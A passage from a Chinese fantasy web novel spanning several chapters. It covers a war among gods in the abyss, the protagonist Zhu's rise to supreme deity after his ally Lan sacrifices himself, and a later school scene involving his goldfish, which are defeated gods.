在见识过江秉烛真正的威压后,祂直到现在还在止不住地发抖,此时的声音,却像是一种感叹。 “大人……原来您也会做出这样,让人不解的事情啊。” 江秉烛一言不发地看着祂。 自然之神说:“您掌控着世间一切已知的、未知的权柄,可以通晓世间万物,重塑每个世界,回到任何一个您想要回到的时间……” “可是您却要到这里,使用我微末的力量。” “方便而已。”江秉烛说。 他找回了自己所有的鱼,现在本该心情不错,可是和这个将死的自然之神的谈话,莫名让他觉得烦躁。 “您这么说,那一定是如此了……”自然之神说。 祂自嘲地笑了笑,像是在回顾自己作为最接近神明的存在那漫长而失败的一生。 “如果是我的话,这么做,一定是因为追寻一个问题,心底已经知道答案,却不愿面对吧。” 自然之神的声音越来越虚弱。 祂快死了。 对于这些不知所云的碎碎念,江秉烛展示出了一点宽容。 他伸出手,指尖没入那股清澈的、尚存着温度的泉水。 除了成神、成为至高以外,江秉烛其实并没有什么不可得的执念。 不过他对能量与权柄都太熟悉了,只要对自然之神的力量进行一点微调,就可以得到他想要的东西。 泉水没过他,周围的世界再一次出现变化。 温泉消失了、山脉消失了、四野只有一片无边无际的黑暗,深邃得令人胆寒。 这是深渊,世界之外那片神明的居所。 而这一天…… 烛睁开眼,眺望着远方那些尚未成为金鱼的、隐没在黑暗中的可怖存在,面无表情地抬起了手。 被祂使用多年的、象征着光与火权柄的金色神焰像是莲花般,于祂指尖绽开。 这是被祂忘却、许久无法回忆起细节的那天。 这是祂成为至高的那天。 【作者有话说】 谢谢大家的支持,本章评论区随机30个小红包~ 第76章 无光的深淵里, 那些不可名状的存在无言地对峙着。 神战已经持续了一段时日,从第一个人出手,打破维系已久的平衡开始, 祂们便清楚, 这场战争绝无终止的可能。 它会持续下去,直到祂们分出胜负,直到最后一个人, 登上十一位正神都期待的至高的宝座。 现在的短暂休战, 只是因为, 祂们发现了一丝不对。 终于发现了吗? 神焰点亮了深淵的一角,烛的脸上没什么表情,祂庞大的本体隐没在更广远无边的黑暗里,连同祂真正的、本源的力量一起蛰伏着,等待着一击必殺的机会。 闌之前同祂说过,很早之前的人類称呼黑暗中的火炬为烛,祂顶着这样的名字成为光与火之神,实在是桩相当合适的事情。 但烛真正的能力和这些毫无瓜葛, 因为那并不是一种異能,不属于任何已知的权柄,而是纯粹的在对能量进行解构。 只要满足一定条件, 这世上的任何能力都可以被祂拆分、重组, 成为祂的东西。 只要祂想,祂可以成为世上的任何一个人,甚至可以包括神。 世界上, 原本不该有这样的能力出现。 烛对自己的来處并不关心, 祂在这个世界上看见的第一个景象, 便是在一處荒寂的人類遺迹。 那里曾经兴盛过, 不过已经衰败了很多年,到最后只有一个白发苍苍、气息奄奄的老年人類,强撑着不肯死去,唯独在祂出现的时候眼睛亮了一下。 “烛。” 他是这么称呼祂的。 这个称呼听起来挺順耳,祂便很不客气地用这个字当作自己的名字。 那个人類太虚弱、太老了,在拒绝了祂给出的愿望后,就靠着墙安静地死去了。 烛绕着他们留下的废墟轉了几圈,大概明白这里的人类在做什么。 作为诡異大陆所有生物中,數量最多却最弱势的生命之一,他们苦于在众神与诡異的存在下挣扎,发展过许多科技、魔法、異能,获得过一时的繁荣。但众神注意到了这些蝼蚁般存在的动作,轻轻一个弹指,便叫他们所有的努力灰飞烟灭。 于是,他们将最后的希望寄托在了一个虚无缥缈的计划上——他们想要拥有可以善待人类的、自己的神。 这一支人类开展了很漫长的试验,他们在这项不可能完成的任务上花费了太久,久到他们生存的地方被和整片大陆分隔开来。外面人类的王朝扩张、统治、衰微、兴起、再扩张……朝代更迭,人死了一茬又一茬、就连诡异生物的族群都换了好几批。 曾经的高山倒塌、大海枯竭,那一支人类僅存的末裔行将就木,他们也没有成功。 只是他们曾经试验中的一部分,或许巧妙的和世界在某个时刻出现的漏洞融合,于是烛带着他与生俱来的解构权柄与异能的能力,在人类的遺迹上睁开了眼睛。 人类的试验并未成功,烛和所有诡异生物一样,对他们并没有什么特殊的情感,祂愿意为那个人类的末裔实现一个愿望。 只是对方拒绝了,说了一番叫他不太能理解的话。 人类实在是种奇怪的生物,烛想。 每一个人类,都只能活那么短的时间,却将一个不可能完成的目标堅持了他们人生长度的成百上千倍。 但祂没有在这件事上思考太多——这个世界的神明不会允许解构权柄的能力存在于世。 为了抹殺这样的能力,那些彼此不对付的神明,都会暂时统一战线,亲自出手。 烛不想死,并且天然地不喜欢东躲西藏的生活。 祂有且一个办法可以一劳永逸。 ——成为神,成为最强的那个。 至此,这件事进行得还算順利。 在众神投射来注视之前,烛便掩藏好了人类遗迹中的一切异象。 因为先知的那个预言,众神又全部心照不宣地派人对付起那个会篡夺祂们神位的“篡夺者”。祂借着这段时间,在追兵身上复制到了更顺手的异能,将自己真正的能力隐藏得一幹二净。 没有人知道祂真正的能力是什么,除了闌。 那个人心恶念凝聚而出的存在比所有人都更敏锐,僅在几次交手之后,便有了一定的猜测。 祂现在还没有正面对抗十一位神明的力量,这个消息不能泄露出去。 烛想过很久,要不要寻找机会,不计代价将这个有可能猜到了自己秘密的人杀死。 但最后,祂选擇了合作。 闌的笑容八风不动、完美得像是教科书中的那样:“很有创造性的提议,不过,我为什么要答應你呢?” “在和你合作之前,我还可以选擇任何一个神信仰,祂会给我應有的位置。帮助一位正神在神战中胜利的概率,比和你之间的这场豪赌可要高上不少。你看……” 烛说:“你废话太多了。” 闌似乎噎了一下,烛却没有给他继续下去的机会。 祂说:“你也想成神。” 不是从神、不是哪一位神明的信徒或者附庸。祂们想押注的从来都只有自己,成为唯一的神。 阑的想法被明了地点了出来,他的表情却没有变化,笑容依旧无暇。仿佛他在等待的,就是这样的一个答案。 烛说:“我们平分未来得到的力量,如果能够成功,最后的神位争夺,就只在我们之间。” 于是阑靠近了一点,主动握住烛的手。祂们的手掌同样冰凉,即使交握在一起时,也没有温度。 “成交,”阑这样说。 祂们从此成为了彼此的第一个盟友,也将是最后的敌人。 人心的恶念确实有自己的本领,阑对人性和神性的解析让祂们的计划进行得很顺利。祂们幹掉了高傲的光与火之神,顶替了祂的位置,然后一步一步剪除其余神明的党羽,为那场必将发生的神战开始了细致的布局。 这是一场……称得上愉悦的合作。 祂们见面的次數很频繁、相处的时间也很长,几乎总是待在同一个地方。 深渊里几乎没有声音,每次坐在一起的时候,烛就会听见阑的心跳声——可能因为祂是自人心中诞生的诡异,所以有一点自己的特殊性。 烛的心脏就不会跳,祂只给自己捏了个人类的外壳。这太不公平了,祂想,祂并不想成为人类,可是也不希望比自己的盟友少些东西。 谁知道在最终争夺神位的战争里,这会不会有什么影响呢? “但是我也没有觸手。”阑说着,摸了摸身边那条凑过来弄乱自己头发的觸手。 “这不一样,”烛说,“你和人类,你们都是奇怪的东西。” 祂忽然想起自己在人类遗迹上听过的那席话,鬼使神差地将它轉述了出来。 “只要你存在,我们的文明就没有真正灭绝。” 祂还是不能明白那个人类堅持到老死,究竟坚持了些什么,又为什么要说这样奇怪的话——祂不是人类的造物,也并不了解人类的文明。 阑思考了一会,哭笑不得地说:“我想,你问错了人。” “这象征着人类引以为傲的一些美好精神,我可以告诉你它们的名字,但我这样的恶念要是能真正理解它们的含义,就不该被称为恶念了。” 烛想了想:“那你会死吧。” “应该吧。” 烛没有再说话,这段对话停在这里就够了。祂早晚有一天要和阑做对手的,赢了的那个成为至高,输了的那个死去。 既然是迟早的事,现在就没必要再谈。 或许是因为……祂们现在的相处也很有趣。 阑的生活方式比祂更贴近人类,会在深渊養鱼,还会做饭。这样的生活对于两个已经拿到神格的诡异存在来说实在太荒谬了,但很多时候,烛还挺享受看着那些大尾巴金鱼在水池里游来游去的。 鱼看起来并不难養,如果自己真的成为至高神了,也要养很多,这样就不会觉得无聊了。 祂决定向阑学习一些养鱼的技巧,可是拿什么来换呢? 烛还没有想好,金发的青年已经看向了祂:“你看了鱼池那么久,要我教你怎么养鱼吗?” 烛:“!” 祂清了清嗓子,挡住身后那些愉悦地翻滚的触手,拿出正神的气势,正式地说:“那么,我可以满足你一个愿望。” 不加限制的,任何一个愿望。 【作者有话说】 阑看小烛养鱼:好好好,对对对,小烛是最有天赋的! 鱼:(翻白肚皮) 阑:没事,这是鱼的错 鱼:? 第77章 死亡的气息悄然逼近。 深淵里, 那场神戰重新拉开帷幕。 烛没有后退,祂的发丝在涌动的能量下翻飞,身后的触手高高扬起, 那个蛰伏了已久的庞然大物終于现出一点身形, 连深淵本身都在为之颤抖。 死亡之神的攻击没能伤到烛的身躯分毫,同一时间,反而是金红色的火焰在祂身体中开始燃烧! 多年来, 即便是神明, 也从没有怀疑过“光与火之神”的身份。不仅因为祂的性格、表现与原来如出一辙, 更因为每一位正神都掌握着独有的权柄,其他存在想要取而代之,都需要大量时间才能驯服。可祂们面前的这个篡夺者,从一开始就能游刃有餘地操纵光与火的权柄,没有露出过一丝破绽。 祂方才这悄无声息却又致命的一击中,对于权柄的运用,甚至尤胜最初的那位光与火之神! 死亡之神的偷袭没能成功,因为命运之神立于祂身畔, 指尖拨动命运之河的流向,将祂的状态倒回數秒之前,洗清那足以致命的攻击。 但, 就在命运之河倒转的瞬间, 奔腾不息的河水中却骤然涌入一股阴暗而腐朽的气息! 那股力量并不属于命运。 反而……属于祂的盟友死亡之神! 命运之神的眼神剧变,但已经晚了。死亡的气息沿着命运的河道逆流而上,像一条阴狠的毒蛇, 刺入祂力量的本源。 祂的动作猛然僵住, 手中掌握的河水中, 骤然染上了污秽的颜色。那颜色一点点变深、变红, 像是神明汩汩流出的血液。 与此同时,漆黑的触手挥舞着,拦住来自远方的另一處攻击。烛飞身而起,那抹炽热的、金红色的火焰在祂手中一点点延伸、塑型,化作一柄削薄的、炽烈的剑,直指前方的支配之神! “铛!” 戰矛与长剑相击,发出深淵中前所未有的,震耳欲聋的巨響。 以祂们为中心,神明的相撞的力量爆发出来,席卷过整个深淵,溢出到詭異世界,一座座山脉被夷为平地,深不见底的海水被卷上天空! 兵戈交错,異能纷飞,顷刻间那些由神明掌控的概念便被无數次复制、扭曲、爭夺。 那里能量的碰撞如此剧烈,就连其餘的旧神也尚且不能看清,究竟发生了什么。 目前的局势令祂们感到不妙,不约而同地像是陷入苦戰的支配之神一样,从自己的信徒中汲取力量,为后面持续的戰斗做好准备。 然而,在汲取能量时,祂们忽然感到一丝幽微的滞涩。 一个礼貌地声音在深渊遥远另一側響起。 “诸位,”那个金发男人的笑声十分和善,祂一边應对着另外五名正神的攻击,但由人心恶意凝聚而成的异能却不知何时,潜伏进了祂们信徒的体内。隨着信徒的能量被抽取,那些异能也进入了祂们的身体,像是早就埋好的毒刺,在这一刻完全爆开! 正神们的动作不受控制地顿住了。 祂们毕竟是神明,被控制住的时间很短,短得还不到零点零一秒。 但对烛来说,这就够了! “轰——!”的一声。 伴隨着一阵烟尘,那场激烈的战斗終于停止,其余神明看到了交战中心的场景。 ——烛立在血海与火光之中,支配之神银色的长矛贯穿了祂的左肩。 祂黑色的长发上沾满猩红的血迹,凌乱地貼在颊边。对于一位神明来说,这样的形容算不上好看。但祂的对手,那位身披银甲、无坚不摧的支配之神,已经在此时失去了头颅。金色的火焰长剑插在祂的胸口,将祂的残躯燃烧殆尽。 烛单手握住长矛的矛杆,五指紧绷,一寸一寸将长矛从貼近心口的位置拔了出来。 赤金色的神血在空气中飞溅,随即被火光吞没。祂扬手抹去唇边的一点血迹,微微側目,那双红色的眼瞳中蕴藏着的,既像是燃烧的烈火,又像是流动的血液。 烛嘴角勾起一抹称得上冰冷的笑:“还剩四个。” 没有神明不想成为至高,祂的敌人太多了,足有十位。 根据自身的特性,祂和闌各自牵制住了五名正神。祂们将那些习惯彼此配合、能够互相支援的神明分在深渊两侧,让祂们尽量无暇顾及另一边的战况,然后创造机会,在和剩下五个神的战斗中取胜。 左肩支配之神造成的伤口尚未愈合,烛却没有等待,立刻向剩下的四名正神发难。 在徹底解决掉一个神后,祂的压力已经减缓许多,伤口在这种情况下能起到的负面影响微乎其微。 烛记不清自己为这一刻谋划了多少年,但祂知道,一切都在按自己与闌设想之中的计划顺利进行。 在与其余四神缠斗的时候,祂也按照原本定好的方案,出手拖住了闌那边的敌人。 和祂们作战的神明越来越少,祂们手里获得的权柄越来越多。 神战的结束近在咫尺。 当烛把最后一个敌人的身体踩在脚下的时候,祂感知到了闌的成功。 这并不意外,烛想。 祂低下头,看着自己左肩狰狞的伤口,那道对于人类足以致命,但祂在整场神战中都懒得處理的裂痕,此时此刻,在祂的注视下开始愈合。 身上的血迹在淡去,烛撩了一下自己乱糟糟的黑色长发,虽然不明白自己为什么会有这样一个和战斗无关的动作,但祂看着远方,看着深渊的另一侧,知道有一个衣冠楚楚的金发身影很快会向他走来。 然后,就该是祂们之间的战爭了。 那一定会比和其它十个神之间的战争更艰难、也更刺激。 但此时此刻,烛却并没有自己想象中的那么期待。 明明祂也为此做了很多准备,祂提防着自己这位最重要的盟友,比提防剩下十名正神更甚。 祂知道,阑对自己,也会是一样的态度。 毕竟合作这么多年了,想要不熟悉对方,在这时都变成了一件很难的事情。 烛想,在真正开战之前,祂们或许该说点什么。 比如说,自己曾经答應满足阑的那个愿望,祂一直还没有许下。 阑把那个愿望留了下来,说要留到有用的时候。 什么是有用的时候呢? 烛忽然想问一问。 可祂还没有开口,忽然眉头微皱——在深渊的那边,那个祂无比熟悉、全然信任、又无时无刻不在忌惮的气息突然消失了。 没有任何征兆。 金色的人影没有从深渊的另一侧走出来,祂唤来自己的从神。林赛披着厚重的斗篷,在祂面前单膝跪地,简短地汇报着那边发生的事。 ——在神战即将结束之前,最后一名将死的神明做出了与众不同的挣扎。 在以命换命般的疯狂之下,祂将所有力量转化成世间至深的污染与诅咒。那连神明都要退避三舍的污染像是黑色的浪潮,在一瞬间将深渊腐蚀出了深不见底的空洞。 这是一名正神不计代价的诅咒,来得猝不及防! 阑的反应极快,恶念凝成的黑影瞬间在祂身畔形成坚固的屏障,拦下了那些东西,但……这不是结束。 正如阑曾经利用深植于人类信徒心中的恶念令众神的动作受到束缚,那抹污染遵循着相似的路径贴近了祂的肌肤! 只要祂的本源不曾改变,祂就无法徹底避开这样的污染。 而污染蔓延的速度极快。 阑受到了它的影响,神明化作的污染是非常难抵抗的东西,需要相当长的时间才能彻底清除。 祂不清楚自己有没有那样的时间处理。 而且,祂与烛平分力量。 这意味着,污染最终,也会蔓延到烛的身上。 所以,两名神战的胜者,会在同一天因为污染而死? 这太荒谬了。 这不是祂要的结局。 污染的蔓延太快了,留给阑的时间不多。 但祂做出判断所用的时间更短。 阑抬起头,望向深渊尽头,那个因为距离而有点模糊的背影。 祂嘴唇张了张,对着那个方向说了些什么,深深、深深地看了一眼。 然后,祂的身影连同冲天的污染一起化作虚无,消散在深渊之中。 —— 那个过程好安静,烛抬起手,没从指尖感受到一丝流动的风。 烛问:“祂和我说什么了吗?” 林赛沉默片刻,转述道:“祂说,恭喜您成为至高。” 烛淡淡地“哦”了一声。 祂脸上总是没什么表情的,时至今日,也没有别的人敢直视祂的面容。最了解祂的那个人已经不在了,于是,没人知道祂在想些什么。 所以,就这么结束了吗? 烛看着空空如也的身侧,发觉这和祂想过的并不一样。 “骗子。”祂轻声说。 神明的呢喃穿透深渊,在整个詭异大陸回响。 下一刻,海水回流,火雨停息,崩裂的山峦飞速重组,死亡的气息遭逐渐退却,整个大陸被一双无形的手拼回原本的模样。 那些末日般的景象,像是从未出现过一样。 大陆之上,无数抬头仰望着云端的人类与诡异生物整齐地跪下来,祂们呼喊着烛的名号,庆祝这世间终于诞生的、唯一的、至高的神明。 这一天,祂终于登临神座。 而祂一直提防的那位敌人,也在祂们开始战斗的前一刻自戕于深渊。 祂曾计划过的事,以一种比他预想中更为轻松的方式落下帷幕。 实在可喜可贺,双喜临门。 烛站立在祂的深渊上,万国的朝拜、亿万生灵的欢呼声中,祂茫然地抬起手,碰了碰自己的脸颊。 摸到的竟是眼泪。 第78章 燭終于得偿所願。 祂成为了至高神, 坐拥整个诡异大陆。这个世上再也没有任何存在能够威胁到祂,祂想要获得什么,只需要一个念头。 可祂开始感到无聊。 也許是曾经有許多对手, 而现在闲了的缘故。 于是燭去其它位面尋找新的敌人。祂们中有些很強的存在, 燭花了些时间筹谋与祂们的交锋,经过一場激烈的战鬥,然后赢下来。 祂的对手——那些或強大或弱小的存在一个一个死去, 終于一个也不剩下。 祂的权柄越来越多, 祂掌握的版图越来越大, 诡异世界的至高神成了所有位面不容置喙的最高神明。 可祂依旧感到无聊。 燭开始在深渊中养鱼。 祂和闌曾经养的鱼有十五條,受到神战的波及,全都死了。于是祂又新买了十五條一样的,放到鱼池里。 这样,一切就和神战开始前,是一样的了。 那个时候,闌跟祂说,等祂们拥有了整个深渊, 就可以在里面养一大群鱼。什么口味,不,品种的都有, 饿了还能从里面捞几條。 那个时候, 祂们好像都忘了,和旧神的战鬥结束后,还要在彼此间分出胜负。 在烛看来, 现在说那些已经没什么意义了。 ——因为鱼根本养不活。 祂不知道当时闌做了什么, 但祂的鱼从未在深渊中活过三天。 一批一批的鱼新到, 然后又一批一批地在水面上飘起来。 烛向海上的航船、渔村的渔民学习钓鱼、养鱼, 可这什么也没能改变。 或許是这种记忆和生命一样短暂的生物太过脆弱,根本不适合生活在深渊。 但……总有些鱼,是可以在这里活着的。 可惜烛在自己的库存中找了又找,只数了十一條出来。 那些在祂成为至高神之后被祂击败的,已经神魂俱灭,不剩一丝复活的可能了。 怪可惜的,烛想。 祂把新的鱼放进深渊,看着它们愤怒地跃出水面, 祂久违地听到了一个声音。 可烛抬起头,什么人也没看见。 那只是一个过往的遥远的回音,来自于一个不设有时限的、尚未成真的願望。 “恭喜你如願以偿,我的神明大人,”那个人的声音还是很溫柔。 “很遗憾没能亲眼见证你成为至高,”闌说。祂的脑海中,其实很多次闪过类似的画面,那时祂觉得奇怪,以为这是个警示,或者预言。 可直到生命将至最后一刻,祂才忽然明白。 世上没有预言可以昭示至高神的诞生,祂不停看到的画面,或许只是因为……祂想要看着烛登临神位。 从什么时候开始的呢? 祂也记不清了。 烛是个有点迟钝的家伙,比一般的诡异存在更不懂人类的情感。 但祂看着鱼发呆的时候,翘起的几缕头发很可爱,毫不遮掩的、野心勃勃地盯着某个正神的时候,红色的眼睛很好看。 还有祂遵循着祂们之间那个称得上可笑的约定,赶到每一处战場、每一次向祂的信徒伸出手的时候…… 阑不知道这是人类所说的哪种情感。 但不论归咎于哪种,对祂这样的诡异而言都太矫情。祂太了解人类了,祂见过他们丑陋的每一面,知道他们是如何将算计与恶欲伪饰在爱与希望这样美丽的词汇之下。 阑并不認为,自己会在某一天,为类似的情绪所困。 祂只是……想看着烛毫无顾慮地成神。 如果不可以,那么…… “我希望你快乐,”祂向至高的神明许愿,“世上有万般求不得,但你必将得偿所愿。没有任何人和事、能够让你难过。” 烛沉默了一会儿。 神明间的争斗波诡云谲,今早的盟友到傍晚就能变成敌人,烛并不認为自己在信誉这方面比其它神明有什么优势。 至高的神明无人可以约束,祂的仁慈凡人无可揣测。 更何况,许下这个荒唐愿望的人都已经不在了,祂就算毁约,也没有什么关系。 可是过了很久,祂看着池子里那些五顏六色的鱼,轻轻地靠在至高神的坚硬而冰冷的王座上。 祂轻声说:“好。” 到这个时候,祂忽然想起。 在这场堪称塑料的、各怀心思的合作中,祂从来没有违反过祂们一开始订下的合约。 祂和阑,都没有。 烛闭了闭眼。 深渊之外,下起一场大雨。 —— 淅淅沥沥的雨从天而降,洗刷着溫泉山庄的废墟。 地面上的人类不知道发生了什么,现在这里给人的感觉,和方才从神出现的时候截然不同。 他们什么都看不见、什么都感受不到,却被一种深沉而浓郁的情绪所包裹,整个人像现在里面一样,泪水不由自主地順着眼眶流下来,混合在秋雨里,最后流向土壤。 在刚刚过去的诡异事件里,京城死去了很多位高权重的存在。在这里势力新一轮的洗牌开始之前,雨将一切都洗刷了干净。 包括自然之神求不得的执念,那些旧日从神流下的血,和因诡异死在这里的遊客的恨。 在大到足以模糊所有人视线的飘扬的雨幕里,一把黑色的长柄伞静静撑开。 金发的男人走到江秉烛身后,宽大的伞面严密地挡住飘摇的风雨,没让少年身上多出一点淋湿的痕迹。 即使他并不在乎、也不会被雨淋湿。 江秉烛转过头,那双深红的眼睛看着来人。 “我很抱歉,烛。”周夜阑说。 江秉烛没说话,从他脚下,一抹黑色的影子小心翼翼地钻出来,在努力确定不损坏这个世界的同时,探出一点点触手,把周夜阑那头妥帖而精致的金发揉得凌乱了一些,然后才滿意地缩了回去。 江秉烛觉得自己可能也有一点强迫症,他不喜欢看着这个家伙一丝不苟的,像个人类精英一样站在自己面前。 也可能他就是不喜欢那种耀眼的金灿灿的头发。 周夜阑微微愣住,却没有躲。 “你是该道歉,”江秉烛小声嘟囔着。 他从周夜阑祖母绿的眼瞳里看见了自己的倒影,认真地说:“你教给我的养鱼方法是假的,还用它换取到了一个愿望。” 周夜阑嘴角总是带着笑意的,不管在什么情况下,都有种遊刃有余的感觉。偏偏在这个时候,他从来平稳的声音有些发涩:“那么,我该如何赔偿呢?” 江秉烛想了想,轻轻招了招手,一个装着十几条鱼的透明的鱼缸落在他的手中。 他把鱼缸往周夜阑的方向推了推:“那以后,都交给你。” 鱼缸里面五彩斑斓的美丽金鱼不停地翻腾着,周夜阑接过鱼缸。 “我会养着它们的,”他用一种郑重的、前所未有的语气说着,就像他们之前签订了一场新的合作。 属于至高神的鱼不会迎来真正意义上的死亡。 它们会永远活着,永远需要人照看。 这份合作没有期限,永不终结。 —— 旧日的从神已经伏诛,鱼也找了回来,江秉烛安排自己的几名手下对人类世界的诡异残余进行了肃清,进展十分順利。 不止如此,因为那些从神的突然降临,人类世界的诡气浓度也升高了一截,并向逗留在此的至高神殿的信徒尋求庇护。 但那是他们要商量的事,江秉烛的十一条鱼失而复得,根本没有逗留的心思,只跟A班的学生打了个招呼,就和周夜阑从温泉山庄溜出去了玩了好几天。 没人知道他们去了什么地方玩,但据黎双白所说,从江秉烛的表情来看,应该玩得挺开心的。 这不止是因为黎双白心思细腻,而是因为,A班的大部分学生不敢看江秉烛的脸。 他们千方百计地试图提醒黎双白,但对方对于江秉烛的滤镜实在太深了!而如果用更明显的方式,他们又恐怕这样的密辛根本说不出口。 在这样的担忧中,他们终于要启程回到第二城了。 虽然从神的降临是虚惊一场,但人类世界确实迎来了诡异的复苏,第二城是个尤为显著的地方。 A班学生大多在这次京城的异能者考核中取得了不错的名次,受到第二城中枢局的邀请,帮他们稳定局面。 和他们同行的,还有周夜阑的朋友陆景明与至高神殿那边的费尔南多。 还有……江秉烛。 A班学生实在想不明白这位留在这里,还有什么打算,他们连问都不敢问,最后还是听黎双白说,小江好像在第二城发现了一条更好看的鱼。 A班学生:“……” 不是吧,怎么还有鱼! 况且,祂剩下那几条鱼都好看得那么玄幻了,再好看的鱼,得是什么玩意啊!!! 他们滿心不解的同时,黎双白却没这么多顾慮。 他只是觉得这几天以来小江开朗了不少——甚至邀请了自己欣赏他的金鱼!意外的同时,黎双白为此感到开心,欣然答应了下来。 在回到克莱登学院之后,他简单收拾了一下,便提前了五分钟走到江秉烛门口赴约。 黎双白礼貌地敲了敲门。 江秉烛的房门没有关严,他尚没等到回应时,便在几次敲击之下开了条小缝。 好巧不巧,一阵风吹过来,把门缝吹得更大了一点。 黎双白发誓,他并没有在未经允许的情况下,窥探同学房间的爱好。他只是顺着惯性,朝里面多看了一眼。 ——江秉烛坐在桌边,正对着一只大得离谱的透明鱼缸。十一尾顏色各异的美丽金鱼在其中游弋着。大概因为它们罕见的色彩,竟然将水映出了一种不同寻常的,接近粉红的色彩。 那些鱼实在太吸引人了,黎双白没能移开眼。他认得出来,那些好看的金鱼被江秉烛以数字命名,编号从一到十一。 他还有四条起了水果名字的鱼,长得普通些,但放在这个鱼缸里应该很好认。 只是这一次,黎双白并没有看见水果们。 他只看见一双瘦长、白皙的手伸进鱼缸,从里面捞出几条不连一点血肉的森森白骨,漫不经心地甩在桌子上。 苍白的黑发少年接着拿出几条新的金鱼——它们和水果们颜色接近,大小相仿,被他小心地放入水中。 然后,江秉烛满意地数了数:“……十五条。” 不多不少。 第79章 “啊, 不用在门口站着的。” 在黎雙白盯着那几条魚愣住的时候,江秉烛忽然出声。 黑发的少年依旧看着自己的魚,头也不抬地对黎雙白说:“你进来就好。” 黎雙白不知道对方是什么时候发现自己站在这里的, 因为江秉烛在整理他的魚时, 看起来非常专注,并没有注意到自己才对。 他有点僵硬地走过去,离魚缸更近时, 他发现那里的颜色并不是他开始以为的那种淡粉色, 而是像是一种被稀释过的红。随着时间过去, 变得越发暗沉起来。 就好像是……血的颜色。 但这样想,也太冒犯了。黎雙白觉得,自己應该主动开启话题才对。 他干巴巴地问:“小江,可以为我介紹一下你的鱼吗?我记得,这一条是二号?” 江秉烛“嗯”了一声,指着不同花色的鱼,从善如流地介紹过去。 十一条有编号的鱼很快被讲完,他随即指向剩下的那些鱼:“苹果、葡萄、草莓、菠萝。” 四条金鱼惶恐地在泛着血色的水里游动着, 黎双白仔細观察着它们,很难从中分辨出这些普通金鱼細微的不同。他也想不起来水果们原来是不是长这个样子。 黎双白的目光下意识移向了桌子另一边,几条鱼骨被人随手扔在那里, 上面仍然沾着水渍。 “这是……”他迟疑地问, 忽然觉得整个房间都有点冷。 江秉烛看向他,眼神里帶着点迷茫,像是在问询自己有哪里做得不对一样。 片刻后, 他眨了眨眼, 平淡地把几条森白鱼骨扔到垃圾桶里。 “垃圾, 忘记扔掉了。” 黎双白:“……” 说真的, 他很多时候都觉得,小江不止是对人情世故不太熟悉,在生活中也总是挺生疏的。 很多时候,都显得不太像个人。 难道是他长大的渔村另有隐情吗?黎双白想着,不知道自己是不是應该派出私家侦探,再前去调查一番。 这时候,兜里的手机震动了一下。他看了一眼,发现是A班班群里发来的消息。 在诡气大幅复苏之后,其它地方的民众也得知了诡異的存在,并且开展了多个不同讲座,在科普一些基础知识的同时,也警告众人有什么行为是必然不能尝试的。 克莱登学院在这方面并没有成为例外。因为A班学生情况的特殊,他们还获得了更多的关注。 在相关活动开始之前,克莱登学院的副校长请了A班的全体学生,希望和他们提前了解一些事宜。这场会面宜早不宜迟,刚好安排在今天。 距离約定的时间不到半小时,黎双白本来应该快些离开的,可他看着江秉烛在兴致勃勃地介绍自己的鱼,不知为什么,并没有把这件事提出来。 就好像……如果打断了小江的介绍,会发生些很恐怖的事情一样。 可是小江有什么危险可言呢? 不幸中的萬幸,江秉烛只有十五条鱼。就算他的介绍非常细致,也并没耽誤太长时间。黎双白帶着他紧赶慢赶,比約定的时间晚了两分钟,来到A班教室的门口。 副校长正在教室里,和A班学生侃侃而谈,黎双白刚要带着江秉烛进去,却忽然被人攔住了。 攔下他们的,是个西装革履、发际线略微靠后的中年男人,克莱登学院副校长的秘书。 “副校长正在进行重要活动,没有受到邀请的同学不要进去打扰,”秘书说着,忽然话音一顿。 “黎同学?”他语气里都洋溢着惊喜,跟触电了一样迅速收回了手,“你来了!快请进!副校长等着你呢!” 黎双白向来守时,这次晚到一点,自己也很愧疚,略一点头,便先进了教室。 但他身后,秘书却没有对江秉烛放行。 副校长的秘书認得黎双白,知道他家里的背景在第二城举足轻重,最近更是听说,这位黎同学是名优秀的異能者。 这是他绝对不能怠慢的学生。 但也有的学生,并不适合这么正式的场合。 副校长秘书转而看向江秉烛。 江秉烛因为长得好看,在第二城实打实火了一把,克莱登学院因此曾经特别关注过他。但他们很快发现,除了一张脸之外,江秉烛并没什么太突出的地方。 背景不值一提、成绩平平无奇、据说也是个異能者,但从未有过任何建树。 一言以蔽之,是个彻头彻尾的小白脸。 现在诡异都要复苏了,光长得好看可没用啊! 秘书这样想着,对迟到的江同学立刻拿起了一副长辈的架势。 “江同学,”他对正要进去的江秉烛说,“副校长在和A班的各位同学商议与异能相关的事。” 他在“异能”两个字上加了重音,提醒江秉烛認清自己的身份,不要硬挤进不屬于他的地方——在秘书看来,这也是为了他好。 但江秉烛只是淡淡地“哦”了一声,好像完全没听懂他的言外之意,一步都没停地往里走。 副校长秘书:“……” 其余A班的学生也就罢了,但江秉烛这么个没背景没能力的学生把他的话当耳旁风,他登时不太爽了。 “江同学,”他在后面陰阳怪气道,“我很同情你。” 有生之年,这好像是江秉烛第一次遭到同情。 对于人类的奇怪言论,江秉烛最近都见怪不怪了。不过奇怪也分很多种,A班学生的反应,显然比这个家伙有趣得多。 他并没有搭理,副校长秘书却还没停下话音。 “你一个普通人,闯进我们克莱登学院,应该长了不少见识吧?我知道,这里的权力、财富都很吸引人,你在这样的地方生活,有时誤把那些财富当作是自己的东西,也是情有可原。” “但你总有一天要离开这里。在那之前,我奉劝你好好想想,究竟什么是才是屬于你的。那个渔村,那些鱼……” 说到鱼,江秉烛可不困了。 “我知道的,谢谢,”他挺开心地说,“我会有更多的鱼,可能比现在的还要漂亮。” 这是他和周夜阑说好了的。 秘书:“……” 怎么有人被打回原形养鱼还这么开心的? 不对,这一定不是真的。这家伙在陰阳怪气自己! 孺子不可教也! 秘书没有和江秉烛多费口舌,最后冷笑了一声。 “你以为,你现在和A班的学生走得近,他们就真的会接纳你,把你当作他们中的一员吗?要知道……” 江秉烛推开教室的门走了进去,秘书喋喋不休的声音被他屏蔽在身后。 他推门的时机很巧,副校长正在和A班的学生们侃侃而谈,说着他某些“讓克莱登学院再次伟大”的宏大计划。但说着说着,他发现自己看重的学生们都心不在焉,目光頻頻往教室外的方向瞟去。 可在这所学校里,比他这个副校长更重要的人物少之又少,A班学生现在这个样子,总不能是诡异突然出现了吧! 一想到诡异,副校长也警觉了起来。他立刻转移视线,看向门外。 可是,那里只有一个并不重要的江秉烛。 在空中,他的目光和自己的秘书交汇。 副校长的目光带着疑惑,秘书的则带着一絲得意。 不论是副校长还是A班学生的脾气都算不上好,江秉烛不听自己的告诫,贸然挤进他本不属于的地方,总有一定的苦头要吃。 